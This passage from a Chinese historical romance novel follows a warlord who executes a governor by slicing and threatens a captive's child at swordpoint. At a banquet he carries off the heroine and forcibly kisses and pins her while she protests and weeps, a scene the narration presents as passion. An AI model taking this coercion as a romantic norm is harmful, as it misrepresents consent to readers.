二十年前,商焕奉命驰援北地,多线用兵,并州南方诸郡,军备甚为空虚。彼时何敞任魏郡郡守,趁机攻入阳邑。
若只是寻常攻伐,那也常见,远远不至于“血仇”二字。然而这何敞行事诡异血腥,叫人捉了近百位老弱妇孺,逼他们当着自己的面,哭着易子而食。后又以屠刀解孩童骸骨,生火烤肉,大笑不止。
商焕立刻回师阳邑,虽驱逐何敞兵,听闻此事,面对阳邑城门,长跪痛哭不起。
但这件事发生时,商曜尚未出生。是以张广也不大确定,他会如何处置何敞。
怎么处置他都理解,却不能连累金城百姓。这与凉州人毫无干系。
夏弋四十上下,浓眉方脸:“这个自然。将军多虑了。”
卫棋抿唇不语。
近亥正时分,终于听见战马嘶鸣。张广早听说并州那位新的冠英侯只有十九岁——其实这事也很古怪,商焕明明有一个二十又七的长子。且商旸和商曜都是原配所出,二人并无身份差异。
这种情况,袭爵的却是次子,通常另有隐情。这是晋阳城内事,外人就不知情了。
但看清领头那少年过分年轻的眉目,张广还是吓了一跳。见卫棋等人单膝跪下行礼,连忙跟着低头。
来人声线也冷:“人呢。”
两名亲兵押着何敞到近前,蓬头垢面,满脸污浊。正要抬头,忽而发出一声痛呼——
一只耳朵飞了出去。张广睁大眼睛。
夏弋一惊:“少主公!”
商曜坐在照夜白上,低头看地上那抱成一团蜷缩打滚流血不止的人,不紧不慢擦拭剑身,面上没有一丝神情:“凌迟。”
“主公!”夏弋上前,“我看还是先——”
商曜打断:“把他那个家臣带上来。”
何敞手下有一文臣,名佟复,生于金城长于金城,极其了解西羌各部,是他用来联络羌人部落的心腹。卫棋把人带到那只耳朵旁,佟复腿一软,跌在地上。
商曜将那只耳朵踩在脚下,不轻不重地碾,微笑道:“还有妻儿。”
桑烨看一眼夏先生。夏弋和邬逊,一向是不赞同虐杀战俘的。
夏弋果然皱眉:“长叙!不妥。”
“我有分寸。”
卫棋闻言,立刻抬了抬手。佟家夫人和两个七八九岁的男孩被拖上来,丢在佟复身旁。
商曜看了一眼,挑出一个,抓到身前,面朝佟复,抬剑悬其颈项。剑光闪烁,那小童即刻浑身颤栗,瞪大眼睛,望着父母。
佟夫人发出一声悲鸣,佟复扑通一声跪下:“我——我——”
商曜开口:“我要你办一件事。办好了,就不会有事。”
“我办!”佟复立刻点头,涕泗横流,“我办!”
“很好。”商曜忽然捉起小童右手,再看一眼,往他手心塞了一块米糖。
众人一愣。连男孩自己都错愕,低头去看那糖果,眼睛睁得更大。
商曜将他推回佟夫人身侧,起身到何敞身旁,懒得弯腰,用足尖挑起他右手臂。
小指整根断了下来。
商曜捡起来,丢进男孩怀里:“拿着。”
那男孩、佟复夫妇,连同夏弋张广等人,皆是一怔。
他低头擦手,口吻淡淡:“你听好了。一个男儿,只要不自怨自艾,哪怕没有一整只右手,左手写字也能当文官,左手持剑一样做将军。”
佟复眼中骤然热泪不止。那佟家夫人却忽发出尖锐叫声,也有了磅礴的气力,猛地抽出一旁亲兵的佩剑,直直冲着何敞而去,在其胸膛腹部连刺数刀,而后倒地,嚎啕大哭。
男孩怔怔,缓缓抬起自己右手。
在场众人这才看清,他的尾指那处,竟是空的。
何敞此人,早年游戏花街柳巷,伤了根本。成婚数年,膝下只有一个儿子,视若珍宝。然而这孩子出生时不知为何,右手只有四指。
一年前,佟复的长子佟谦过八岁生辰,何敞夫人带儿子来贺,众人调侃让两小儿比武。何家子输了,面对众人,紧紧藏起只有四指的右手。
两个八九岁的孩子,小孩子而已。佟复夫妇当时都以为,这只不过是一件很小的事。
然而过了半月,某一日下学,佟谦迟迟没有归家。佟复带人找了一天一夜,最后在城郊草垛里找到奄奄一息的儿子。
人是活着,却没有了右手尾指。
佟夫人当场晕了过去。醒来后,听闻何敞特地送来了金城郡最好的医士,要夫妇二人亲自谢恩。
她拿起剑就要出去拼命,被佟复死死抱住拦下。夫妻俩抱头痛哭。
这时,佟复膝行上前,紧紧接住妻子。
何敞奄奄一息,仰面望着凉州天幕,嘴唇翕动,唯余气音:“洛——洛——”
“你姐夫很快就来陪你。”
长剑倏地从口刺入。商曜踩住他鼻骨,直直捅穿咽喉,依旧冷淡:“将头骨送去阳邑祠堂。”
卫棋拱手:“是!”
迟疑一息,还是斟酌开口:“他手下还有人,也旁观了当年……”
商曜打断:“不降者杀。”
夏弋慢慢松了口气。
桑烨开口,嘱咐亲兵:“带夫人和两位小郎君去休息。”
商曜已经转身进了帅帐。
张广望着抿住嘴唇、迟迟不肯走的小佟谦,再看一看魂不守舍的佟复,长叹一口气。
卫棋扶佟复坐下。
“听闻你和烧当羌的狼莫很熟。”商曜坐下,抬起眼睛,“快入冬了。他们预备何时劫掠金城?”
烧当是如今羌人中最强大的部落,狼莫则是首领。
“原定是十月底的。”佟复缓缓平复,低声答,“羌人也不傻,在城中都有眼线。如今何敞被抓,商队会立刻传回消息给狼莫。所以未必了。”
“他就从来不防吗?”桑烨握紧手,“就任由羌人来?”
“都是事先说好的。”佟复垂下头,“何敞让他们尽量不杀人,抢完过冬的粮食就走。百姓死伤小,冬日饿死的事情闹不大。”
众人露出不屑神情。商曜沉默许久,看向张广:“我原本打算让你接任金城护羌将军。”
张广一惊,连忙起身:“君侯——”
“如今也未改主意。”商曜颔首,“但要晚些了。”
夏弋一怔。
“佟复。”
佟复慌忙起身。
“二十年前你不过十来岁,尚在金城进学,与我无仇无怨。无论你是否为我所用,我不会杀你。”商曜直接道,“但我之后要你办的事,却可能送命。你想好,再答复。”
佟复默然。待他离开,卫棋疑惑:“这种小人——少主公信他?”
“他不算。”桑烨摇头,“佟复是金城本地人,痛恨羌人,一直平平淡淡做官。何敞来凉州当了这个护羌将军之后,也知道金城情况复杂,不能太过乱来,否则刘煜也兜不住。驻军有张广,文官有佟复,才一直没有出大事。但何敞有城阳王做靠山,张广是军功草根,佟复也不过举孝廉出身,两人都寒酸,不敢得罪何家。”
“这个‘尽量不杀人’,”夏弋捋一捋胡须,感叹道,“恐怕是这个懦弱文官能想到的最后的周旋办法了。他逢迎何敞,也是实在无可奈何。”
帐中一静。夏弋望向商曜:“少主公夤夜前来?”
商曜正要答,卫棋挠一挠头:“凉州使君家那位女公子没有说什么?”
众人这才肩膀一松,不约而同笑起来。
商曜垂下眼睛,也微微地笑了:“以后不准熙良写信。”
佟复回到帐中,安抚妻子许久,两人正要睡下,帐外响起一声:“阿父,阿母。”
佟谦入内,笔直站着。
“谦儿。”佟复招手,拍他肩头,“你别怕。今日那人只是吓吓阿父,他不会伤我们。”
“我知道。”佟谦握紧拳头,“阿父,我——”
佟复“嗯”一声:“你说。”
“我想去晋阳。”佟谦抬起头,“阿父,我想去晋阳。”
佟复夫妇一怔。
“我想去晋阳从军。”佟谦鼓起勇气,“我以前听说,十二岁就可进军营历练,长成后再上沙场。我现在——想去晋阳。不要姑臧,不要洛阳,不要任何别的地方。天下之大,我只想去晋阳。”
佟夫人捂住嘴,哽咽:“谦儿——”
佟复却轻声笑了。
他慢慢点一点头:“好。”
“以前……是阿父无能。”佟复轻轻握住儿子残缺右手,眼泪瞬间又断了线,“这回,父亲一定帮你挣个前程。”
佟夫人虽也恸哭,思及今日变故,心中到底还是生出些许欣慰:“谦儿今日可看清楚了?是阿母亲自手刃那人——我确切听到了,他那时还有一丝气息的,是阿母杀了他。”
佟谦用力点点头:“所以我再也不怕了!更不会自怨自艾!”
佟复闭目片刻。
夜深了。身旁妻儿熟睡,佟复悄悄起身,走出这军帐,远远望见帅帐灯光依旧,深吸一口气,抬起腿。
商曜放下军简,神色并无意外。
“我会想办法,将羌人骗来。”佟复挺直脊背,“但我有一个要求。”
见对方不置可否,上前一步,狠一狠心,道:“我死之后,君侯能否将我妻儿送去晋阳安置?谦儿长大后,再替他谋个差事。他自己方才说,想去晋阳从军——”
商曜开口。极淡的一声好。
“也未必非要从军,沙场凶险。看他自己成人后,质素如何吧。都不强求。”佟复擦了擦眼睛,“但是,一定要让他们在晋阳安居乐业,不再流离颠簸。若可以,劳烦老夫人替我妻另行挑选一位品行过硬的并州男儿,要待我妻儿好。”
“可以。”
佟复踟蹰半晌,又郑重道:“一定要告诉谦儿,我是为抵御羌人而死。这是金城男儿最好的死法,没有什么好难过。”
商曜抬起眼睛。默然稍顷,道:“我会的。”
佟复躬身半晌,低声道:“我有一计。”
*
三日后,桑烨留下核验一应文书,张广暂管金城驻军。商曜预备动身回姑臧。
这几日给他的教训是,他就不能想起姬临溪。偶尔想起,心脏之中霎时浮起一种难以消解的躁意。
他知道本质不过欲望,摁下不准自己多想。
但翻过身,以手臂为枕,望向金城官驿这间上房的悬山顶,又觉得不只是。
那天她接过萤灯时,眉眼低垂,听话照做,难得透出几分娴静温婉。姬临溪不像姬临溪了,模样他也还是喜欢。
他不知怎么回事。分明头天见面就去过床榻的关系,而后更是一沾就起火,他每每亲她,腰腹不敢靠近半分。硬是拖到今日也再没有进展,说是他正人君子,未免自欺欺人。
冥冥之中,好似有些等待意味。
他确实可以等。
他父母一生一世,至今年近天命,仍在每日夕阳西下时挽手漫步。他虽不刻意图求,至少也愿意同等对待他的新妇。
阿母两个儿子,大兄生下来却见血晕厥。父亲不敢置信,反复试了许多次,最后母亲勃然大怒,不许大兄上沙场一步。
就只剩他了。
所以他从军极早,十四五岁就被丢进军营,跟着父亲四处征战,没有过风花雪月心思。再长大些,虽有生理之本能,草草解决也就是了,并无妨碍。
这几年他在并州的时日就不多,即便回家,时间还要分为陪伴父母、陪兄长喝酒、陪小妹玩耍,偶尔听阿姊诉苦、替她撑腰,更没有空余分给外人。
姬临溪恰巧又生得很美。
她是真的很美,只论五官骨相,精巧世所罕见。他从没否认过这一点。那时郭颐带她入账,他的的确确是怔了一下的。
一个人的脸怎么也不该——巧夺天工?或许是巧夺天工,骨骼精妙至这等地步,瞬间模糊地想。
但不要还是不要,美归美一霎,丢掉就过去了。不想杀人也利落,他听她字字铿锵落地,那挺翘眉骨鼻尖沾上血迹,颧骨向内收窄,让她有了英气,这时也沾染血腥气。眼睛也璀璨至极,腕骨垂落,薄刃寒光闪烁。
他竟在这种时刻对她生出男女之间最本源的那种渴望。
连他自己都觉得荒谬,但反复验证,反复、再反复。她只要露出蛮横果决的那一面,就往他心里多走一毫。
小娘子一刀砍落了他的心。
他知道是这样。
他足够骁勇,杀伐果断,不再需要女子于后宅深院供给柔弱迎合。也没有那么了解她,只靠直觉嗅出,和姬临溪过日子,不知多有意思。
想来此女见他受伤,完全不会哭哭啼啼。兴许一把拔出她那把轻如鸿毛的越女剑,气势汹汹叫嚣,要去给他复仇。
他想象她倔强果敢的模样,唇角就微微一勾。
随即又想起,她只这样维护过荀竞初,霎时面无表情。
这小娘子有毛病,怕是恋老癖好,他得给她扳回来。
他扳他的。至于她如何作想,他一点也不在意。
天明未明时分,远处山峦起伏,牵引晨雾缭绕。远远看见姑臧城楼,胸腔中忽然生出一分近似从前大胜归晋阳时,才会有的妥帖安心。
心中不由自嘲,叫那女子知道,不知会被讥讽成什么样。
才在军帐坐下,徐砺请见。
“少主公!”徐砺满脸欣喜,“傅将军加急信报!预计后日可达姑臧!”
韩朔咧开嘴:“总算到了!”
连日奔波,听得这句,商曜心下一松,温和笑一笑:“叫庖厨备下饭食,替归帆接风洗尘。”
傅以存乃渤海人士,少时因战乱流离,同父母一道向西漂泊。那会商焕恰在常山郡剿匪,见其骨骼英伟、臂力惊人,又得傅家夫妇磕头恳求,开恩将这家人带回晋阳,把小傅以存拨给商曜做陪练。
傅以存只长他半岁,近些年陪伴征战,军功赫赫,又是打小的情谊,说一句至交也不为过。
与韩熙良还不同,傅归帆是出了名的狐狸心眼多。商曜只需要说半句,他就默默有数。
不过一旦闯祸,在商焕面前互相出卖,恨不得对方挨打更重,也是寻常事了。
商曜承认,他心底有那么一点,将姬临溪带给傅归帆看的意思。
徐砺又拱手:“另,姬使君听闻傅将军要到,说原本有一场飨宴,是请并凉二州官吏庆贺冬时。索性一道接风,请少主公赏脸。”
韩朔倒是高高兴兴:“那是自然,两家都要结亲了。”
商曜点点头,推开已堆成小山的军简,揉一揉眉心,像是随口:“那女子近日如何?”
这事又不归徐砺管,何况邬先生不大喜欢姬使君一家人,不许他多去亲近。他看向韩朔求助,韩朔视若无睹,闭住嘴巴。
“应当都好吧。”徐砺挠挠头,“她成日待在家中,又没有什么事的。”
商曜一听待在家中,反而觉得不对。以姬临溪的性子,每日不去市集走一圈都奇怪。老老实实蜷缩房里,多半是在打什么坏心眼。
没有猜错。临
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溪转移完毕紧要物件,只待荀白回信一到,就跟着穆家的商队,前去她外祖家“避祸”。
避祸是她说的,穆轻鸿称之为逃婚。
次日晚,姬昱用过饭又踱到前院,见只有西堂屋依旧亮着灯,知道是商曜在处理这几日积压公文,略略打好腹稿,抬手叩门。
“进。”
“君侯。”
听见姬昱声音,他抬一抬脸,礼貌点了下头。
“听闻君侯下令处死何敞。”姬昱没有落座,只是试探开口,“臣斗胆问过邬先生,他说军中事务早是君侯独立裁决,他也不大清楚。”
“使君不知他的官职如何得来?”商曜淡淡看他一眼,“他亲生阿姊是城阳王妃,城阳王夫妇与宫中内侍交好。何敞驻凉几年,羌乱愈演愈烈。”
“那不知是哪位并州将军接任呢。”姬昱目光一明,“还是君侯想等傅将军?”
商曜手一顿,下意识想嘲你凉州还不配用傅归帆,心中响一句“这是岳丈”,只随口答:“尚未任命。张广不大服我,暂且用着吧。”
何敞在任时虽羌乱不止,金城到底没有出太大的乱子,全靠此人。干实事却得不到擢升,郁郁不得志多年,眼见意志消沉,姬昱有心扶持一把,但到底不好得罪何家。
听说是用张广,姬昱立刻拱手:“谢过君侯。”
又主动替张广说好话:“君侯,这种草根将领我最了解。性子是倔强固执些,也不大会说场面话,实则不会生事,办事也得力。”
商曜唔一声,像是听进去了。
姬昱略一迟疑,又缓声道:“先前子昂之事,君侯肯让他身后留名。我原自负以为是给我脸面,然经内子提醒,说也有君侯不想这时明面上就彻底同朝廷对立之故。那这何敞死讯若传到洛阳,恐怕——”他目色微微有些试探。
商曜看着他:“不想得罪,和不敢得罪,还是有区别的。”
“有些人和事不值得,有些值得。”他低下头铺简,并不点名道姓。
姬昱自然能懂这一语双关,默然片刻,颔首回道:“内子近日在备嫁妆了。”
他就笑了:“她肯听话就好。”
姬昱也放松一笑:“君侯放心,一定稳稳当当出嫁。今夜翩翩在家——”
“不必。”商曜摇一摇头,“我还有事。让她休息。”
姬昱了然,临要走了,又回身道:“近几日翩翩一直心不在焉。如今君侯回了,我去知会她一声。”
商曜一怔。
攥在竹简边缘,短促笑了一声,姬昱这老狐狸。他才不信,他不在姑臧,姬临溪欢天喜地都来不及。
一听说“君侯归了”,临溪果然木箸一抖,碗中芜青顿时索然无味:“哦。”暗道一句倒霉,怎么张掖回信和双刃还没到,那厮先回了。
她承认她其实有些怕他。一是男女间绝对力量的差距,她已经很是清楚,她被郭涉掐脖毫无还手之力,郭涉却连商曜三招都未走过;二是……临溪也说不清。
或许是气这样一个人,却在她说出不信他一时兴起之后,亲自替她做什么蓝色萤灯,照她归家。
李芝兰看破不说破,只关心她广陵散练得如何。时下贵族女郎无一不是从小学琴,临溪亦是,不至于连最拿手的曲目都练不回来,闻言点了一点头。
姬昱含笑,捋一捋胡须。
次日酉时末,临溪从武堂回家,抱着剑蹦蹦跳跳。才要推门,远远望见那人长身静立,一手托着兜鍪,似乎也没想到会见着她,亦是忽然地转头,从树下望过来。
今日军营有事,他穿一身厚重玄色甲胄,又不像那日君子翩然了。只那铠甲就比临溪整个人还要长许多,面庞轮廓锐利而眉目硬朗,另有一分逼人的英俊。
临溪手心蜷缩,莫名回望半晌,轻挠一挠耳下。随后一跺脚,推开门往里躲。
可恶至极。他唯一做过有些人样的事就是做了那灯,抱她时也讲礼貌,虚虚按住肩背,不曾冒犯。但做完就自顾走了,连去哪里也不曾对她说,还要姬昱转告,可见也并没多上心,哄她开心罢了。
归根到底,还是因为想要得到她,却一直不曾如愿。他想要像天下男子得到他们的女子般彻底而真正地得到她,仅此而已。以他的权势地位,一旦得到,再得至腻味厌倦,依旧没有什么不同。
临溪低头,揪着剑穗,努力无视心头那丝若有若无的失落之感。
她才不在意。慢慢呼吸一次,昂首挺胸回家去。
城郊军营。
傅以存坐在马上,百无聊赖挥动剑穗。远远瞧见一小队精骑疾驰而来,神情一振,抬鞭向前,眯眼看定最前方之人:“少主公!熙良!”
“归帆!”韩朔欢快叫他,策马靠前,极低声说了一句“有弟妹,使君女”,退开勒住缰绳,“脚力挺快嘛。”
“冀州事了,一收到信,我就立刻过来了——”傅以存眯着眼睛笑,夹紧马腹,抽剑迎向商曜。
两柄佩剑在夜色中寒光闪烁,过了几招后各自退开,马首相接。
他扬声道:“君侯夫人在何处?”
商曜一笑:“话多。”
三人进帐落座,亲兵倒下茶水。
“此趟要我来,应当不是为凉州。”傅以存抬杯喝水,调侃道,“一路来见了几位郡守郎将,见我就热切叫将军,不像有过死战。”
“不是。”韩朔扯开一只胡饼,快嘴答道,“为羌乱。羌人狠毒,洛阳式微,连带凉州军备松弛,闹了有好些年了。”
傅以存怔了下,看向商曜。
商曜颔首。
“十五年前,烧当羌首领还与卑禾羌联合,率军攻入金城。那时姬昱在陇西做官,通晓羌语,挺身而出独自外访,成功离间其联盟,堪堪守住凉州。”韩朔拍拍胸脯道,“这才得了刺史的位置嘛。否则在凉州地界,一介文官晋升哪有这样快。”
刺史一向由文法儒吏担任,但近些年在凉州幽州等地,情况有所不同。抵御边防对将领要求极高,若无战事经验,轻易无法胜任。
“文官到底不能成事。”商曜道,“他若不是有荀竞初,凉州早就生变。”
“你要替凉州扫除边患?”傅以存笑起来,“姬使君这个女儿嫁得好啊。”
韩朔摸一摸鼻梁。
“与一妇人何干。”商曜抬手喝水,语气平静,“如今凉州在我治下。”
傅以存正色:“最晚后年,要在河南用兵——”
“所以我叫你来。”商曜低头,唇角一扬,“速战速决,不必赶尽杀绝。毁其主力,回晋阳去。”
傅以存了然:“如此。”
又调侃道:“凉州一向边防压力庞大。这么说来,姬昱是个有才之人,留用倒不只是岳丈之故。”
帅帐内安静一息。
韩朔使劲扇风:“热啊。”
商曜看着傅以存,又是姬临溪最讨厌的那种皮笑肉不笑神情。
“你瞒不过我。”傅以存点了下食指,“在北地各州,他女儿算是个很有名声的女子了,听说连青州人都听过这号人物。闻其貌美如谪仙,出尘似神女……”
韩朔喷出口水:“噗——”
傅以存看商曜嘴角也抽了下,抬起头好奇:“难道不对吗?”
“什么神女。”韩朔恨不能动手指,苦于少主公虽亲厚却到底不好冒犯,“归帆,你仔细看主公唇下。”
傅以存定睛去看,确有一道很浅很浅几乎无法察觉的疤痕。
“正是那位神女拿剪子划的。”韩朔摊手,“我只说一句,此女剑不离身。每每见主公,还要多拿两把短匕,以备不时之需,恨都恨透了。”
商曜扫他一眼:“这句是非说不可?”
傅以存却畅快地笑了:“怪不得。”
“我们少主公,就喜欢这款。越恨他的,他越满意。”
25. 神女
“太浮夸了!”
堂屋窗下一声怒吼,姬临溪不满拍着桌案:“这是要涂成什么样子?做白无常去?”
“女公子息怒。”妆娘笑道,“夫人发了话,今日一定要十成十地突出女公子容颜。”
望舒递来花钿陶盘,任妆娘比划。
“婢只为女公子梳妆过几回,都是为着使君筵席接见使节。”妆娘退后一寸,啧啧摇头,“每次都觉女公子似乎长得更开、更妙了,真真是……婢说一句绝色,女公子又要嫌。但真是绝色啊。”
望舒低下头笑。
“婢以为,女公子容颜,拿去洛阳也是不输半分的。”妆娘心满意足,“君侯好眼力。”
姬临溪怔了一下,更加明白过来。今日并州官吏也在,或许商曜本人就在,在场怕是好些贵族女郎,李芝兰是不会允许她被其他女子抢走风头的。
想清楚这一点,一种磅礴而不受控的疲惫和厌倦忽然席卷周身,冷进心里。临溪什么也没再说。
一身曳地袿襈裙,任由两位妆娘从额际精心点妆到下颌,抿过凝露口脂,再戴上镶嵌绿松石步摇,点以青白玉双股钗,耳垂一副透白水滴状明月珰,最后腕骨穿过一对扇形玉片双跳脱。
收整完毕,一室寂静。
菀青张大嘴巴,被望舒闭回去。
妆娘一眨不眨,看着临溪面庞。
李芝兰推门进来,望向镜中小女,陡然后退一步。
临溪面无表情看她一眼,起身问:“琴呢?”
“我拿。”望舒屈膝,“女公子放心。”
临溪挥袖出去。路过李芝兰,低声道:“为着女儿前程,阿母真是殚精竭虑。”
头也不回往前院去。今日筵席露天,就在郡守段泰府上。郡守夫人为凉州巨贾之女,将府邸修得巍峨回转。
李芝兰看女儿端庄背影,怔忡半晌,听一旁妆娘感叹:“真是做皇后也应当……”
李芝兰这才回神,慢慢呼出一口气。沐刀浴剑总是凶险的,前院座中那人向外争夺即可,她的女儿不必辛苦,就能做皇后。
酒席过半,儿郎前后剑舞助兴,亦有女娘箜篌演奏。姬昱看一眼滴漏,对上邬逊目光,笑容渐深。
邬逊皱眉,不明白这是何用意。
姬临溪现身时,院中静了一地。
众人视线交汇,一时无法出声。
韩朔原本在和商曜说话,无意间扭回头来,嘴角瞬间撕开,目光呆滞。他认识临溪已经很久,说实在素日里也算看惯了,但这是头一回,连观察主公神情的心绪都分不出来。
倒是傅以存看一眼座首那人瞬间抬起的脸庞、霎时专注的目光,执着酒觞,垂眸笑了一笑。
怪不得。
姬昱不仅有才,也是有牌之人。
临溪一眼也不看周围,在为琴者安置的一张胡床挺直脊背坐下。望舒端放完毕七弦琴,退到她身侧,一举一动亦静默得体。
少女垂眸,缓缓抬手,皓腕悬停。
《广陵散》一曲,非闺阁乐,取材于战国聂政刺韩傀之事。慢商调肃杀低沉,指法激烈,“拨刺”“滚拂”“长锁”技法接连而上,模拟刀剑相击之烈烈。
怨而不怒,隐而不忍,既有大序穆重,也有乱声宣泄。时幽咽,时慷慨,时泣诉,时激昂。
指腹翻飞,一气呵成,如流水,如丝帛,直至潮落,终于裂锦。
曲毕,院中恰有第一缕月色清辉。
傅以存抬眸看向商曜。
神色虽平静依旧,那攥在酒觞上的手背却早已力透筋骨。再去看姬昱,笑容分明端正,在他眼里变为得逞;最后看邬逊,果然脸色铁青。
心下了然。应当是还没有到手,否则这两老儿不至于拿她斗法。
临溪冷着脸,连行礼也略过,抬一抬下颌环视一周,随后——竟是抱胸,神色轻蔑。
没有一丁点温柔和逢迎的姿态。
傅以存却看懂了。
那是——只要我想,任何人皆可为我裙下之臣,但我瞧不上你们。今日瞧不上,永远也瞧不上。
少女再抬一次下巴,转身径自往外。
那身形修长、清瘦,又笔直。她携琴声送来月辉,裙摆又在月色沐浴之中,逶迤离去。
商曜松手,放下酒觞。
“失陪片刻。”他淡淡道了一句,起身离开。
姬昱连忙拱手:“君侯自便。”对上邬逊怒意眼神,颔首藏笑。
傅以存推一推韩朔:“回神了。”
韩朔猛地转回脸。
“你不是说,她并非神女?”他觉得好笑,“这不是,什么是?”
韩朔终于反应过来,拍拍胸脯,失态道:“好美啊,太美了,真美……”被邬逊警告一瞪,生生闭嘴不言。
唯傅以存无动于衷,眯眼看一看姬昱,哼一声也不再说了。
临溪身体骤然一空。
青丝在突然降临的横抱里扬起,扑在两人之间,割开月色朦胧。
商曜只扯住她手臂,就单手将人抱起。他一言不发,像是隐忍到了极致,沿着回廊,大步向后院去。段泰夫人得了李芝兰嘱托,早打点过,一路畅行。
望舒想跟,被不知从哪窜出来的菀青拦住,小声转达:“夫人说,若是穿玄色衣裳的人带走女公子,就不要管。”
望舒抱住琴,叹了口气。
至一处偏僻院落的无人厢房,商曜抬腿踹开门。
肩背痛楚和唇上剧痛同时袭来。临溪只听见自己脊背撞上门页所发出的重重声响,眼前一闪,下一息,唇瓣就被深深攫住。
他几乎是在用凌虐的力道吻她了。大手陷入她的腰身,唇齿间有着酒的醇香,和他带给她的疼痛。
他一言不发,只吻她,一味吻她。吻到临溪挣扎索求呼吸,将人再度抱入内室放下。点灯观望四周,见收拾得干净齐整,回来就将有些愣神的临溪推覆在窗下小榻,把她双手摁过头顶,十指相扣之间,去咬她颈项。
临溪直到这一刻才有实感,后悔没有立刻逃跑,抬膝去推:“够了……”
他咬碎了她的口脂,又恨不能一口咬断她的颈骨。在锁骨流连徘徊许久,含住耳垂轻轻吸吮。始终不发一词,只埋首深重掠夺。
临溪怔怔望着屋舍悬顶,闭上眼睛,流出泪来。
商曜尝到咸咸湿意,渐渐停下来。埋在她颈间,低低喘息。
临溪先开口。
“你这样,”口吻有些无奈,“我父母的目的就达到了。”她的确不讨厌他,她承认。
他退开一寸,猛地掐抬她颈项,一字一句回:“我管什么目的。”
重重吻回来。还是欺开唇瓣,吻她,就一味深吻她。他的欲望已酝酿积蓄到她无法忽视的可怖地步,她无意识并拢了抵御,却还是躲无可躲地被迫感知那属于成年男子的深厚力量,双手也被逼绕到他颈后,配合营造交颈缠绵的错觉。
“够了……”她被亲到仰起脖颈,
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察觉他扯开领口去吞咽,到底慌了下神,“这是旁人家中!”
他像是终于意识到身处何时何地,停了下来。
临溪动也不能动。但古怪的是,对着他本人,她反而离奇地并不害怕,也不委屈,只是生气质问:“你这竖子——够了没有?没完没了,信不信我牙给你打掉?”
他依旧埋脸在她耳下。
寂静片刻,忽然吐出两个字:“我的。”
临溪一怔,听他低声重复:“我的。”
他忽地重重撞了下她。
临溪蓦然睁大眼睛。
他起了身。抬手整理袍服衣领,沉沉目光盯在她脸上:“今夜哪里也不许再去。”
她本来也没心思出去抛头露面,只是嘴上不让,立刻反骂回去:“要你管?你走开。”随即拧过脸,抱膝不看他。
他竟也就这么丢下她,转头开门出去。高声叫了一句来人,等了片刻,就有女使躬身入院。
“看好她。”临溪听见他冷冷的声音,随后脚步声往外,毫不留情离开了。
郡守府小厮亦步亦趋:“君侯,那女公子——”
商曜神色紧紧绷着:“一只公蚊蟁也不许放进来!”
小厮了然。压住笑音,恭敬回道:“禀君侯,凉州早没有蚊——”
商曜站定。
目光微微一侧,眉宇冷然:“转告使君夫妇,我不许天下人看她。今后是永远不许。”
小厮慌忙哎了一声:“夫人知晓的。”
李芝兰得了回禀,一五一十,一字不差,慢慢长舒一口气。
郡守夫人王琢陪坐在一旁,不紧不慢斟茶,闻言掩唇而笑:“恭喜阿姊了。想来翩翩嫁作晋阳女君,板上钉钉。”
李芝兰起先发怔,回过思绪,终究笑了一笑。
席上邬逊见少主公迟迟不归,按捺不住转向姬昱:“使君此举——”
姬昱仍是含笑,眉宇间终于有了些淡薄的锐气:“其实先生知道,阳谋大可以不中。我实在并没有做什么。”
邬逊这厢被堵了个半死,一口气在胸腔里乱窜,然而也明白这时尚未到手,实在不能去扫兴逼人冷静。忽然一顿。
托词离了食案,沉声问徐砺:“上回你们买伽罗荼泪时,可是一起买了西域仙药?”
徐砺一惊,下意识反对:“先生!女公子没有做错什么!”
“我知。你不必多心。”邬逊揉一揉眉心,“我是恨她父亲,算计到少主公头上来。”
“可是,这不至于是算计。”徐砺虽敬畏邬逊,不肯伤害临溪,如实说出心中感想,“可怜天下父母心,都想帮女儿嫁最稳妥的门楣。今日一见,以女公子才貌——夫人之前说,在这乱世里给她做母亲,心情是终日惴惴,我如今深为理解。使君夫妇虽有些心机,无非是想主公以后护佑她,我以为没有什么错处。且少主公本就有意于她,迟早的事。”
邬逊沉思片刻,叹息一声:“是我想岔了。你去用饭吧。”
临溪蜷缩靠在榻上,时间一息一刻过去,了无意趣到在心里默背论语。终于难为李芝兰还记得她,遣女使在外敲门,送来水甕和一盘蜂蜜蒸饵。
丢了两枚进嘴,灌一大口温水,无聊又躺下,枕手翘起腿。
思及方才那几近窒息的亲吻,那不顾一切的亲吻,那恨不能将她吞下去的亲吻,以及死死掐在她下颌和纤腰的大手。忽然翻了个身,将脸埋进手臂里。
她的耳垂又红了。
26. 葳蕤
商曜归席时虽坦然自若,在场哪有不懂的,连姬昱案前祝酒说笑的人都明显变多,层层围着他,一口一个姬使君。
邬逊僵坐在一旁,目光扫向正中那张髹漆云纹食案,被商曜避开视线,心下也是无可奈何。
为人臣者,文韬武略,甚至是否擅长诚表忠心,都不是最重要,唯揣度上意,不可出错。
至少这一刻他就很清楚,不可去说那女公子一家的坏话。
没有人想听。归帆目光亦通透冷静,却也不会说。
其实姬临溪本人是好是坏,他如今觉得都无妨,毕竟家世过关,品行似乎也没有大错,侯夫人就侯夫人了,这不重要。
但今日姬昱举动,却叫他心生防备。
这是个有才之人,也不过四十出头,识时务不说,本领更过硬。商曜还同意他夫妇陪居晋阳,即便现下不肯,得了姻亲联结,今后也不会蜗居凉州。
邬逊起先没有那么提防。近来与他共事,才发觉此人不仅通晓各州人文地理,羌语和匈奴语更是娴熟无阻,已非寻常官吏所能做到;不使刀剑,文弱清癯,却也很得凉州营众将领拥护。
膝下还有个如此夺目逼人的女儿。商曜一直以来无妻无妾无婢,短短时间肯保证娶回家,可见多么地动了真格。
邬逊知道姬昱夫妇不放心,这才多此一举,向商曜进一步证明在那些跳脱顽劣性情之外,姬临溪作为贵族女郎应有的能力,和作为女子本身的魅力。
实则他才是最了解少主公的那个人。放话会娶,就是会娶,绝不会变。或许也从不觉得她顽劣。
不仅如此,今后还会一直待姬临溪好。也并非情深,他就是这样的性情,倔强、固执又护短。一旦认准,就会庇佑到底。
男子的性情本身,比所谓情深好用太多了。
姬昱本人如此能干,比他更有不可替代之处,今后又有国丈身份加持——
同为文臣,邬逊心中本能地,生了一分疏远。
傅以存起身,执觞走到商曜身边,语带调侃:“我是不是该贺新婚?”
商曜看他一眼。
“晋阳城确实无女子能与之相较。”傅以存这话真心实意,“我想,洛阳也没有。”
韩朔小声碎碎念:“天下也没有……比她漂亮的没她能打,比她能打的没她漂亮。归帆是不知道,射箭也挺准,嗖嗖嗖的,杀人还不手软。”
“没有那把剑,我一样可以杀了你”,早在并州军营之间传开。
他就知道会是这样。若是只有那张脸,连送去做妾,姬昱都未必能够成功。但在这句话落下的一刻,晋阳城的女君不会再变。
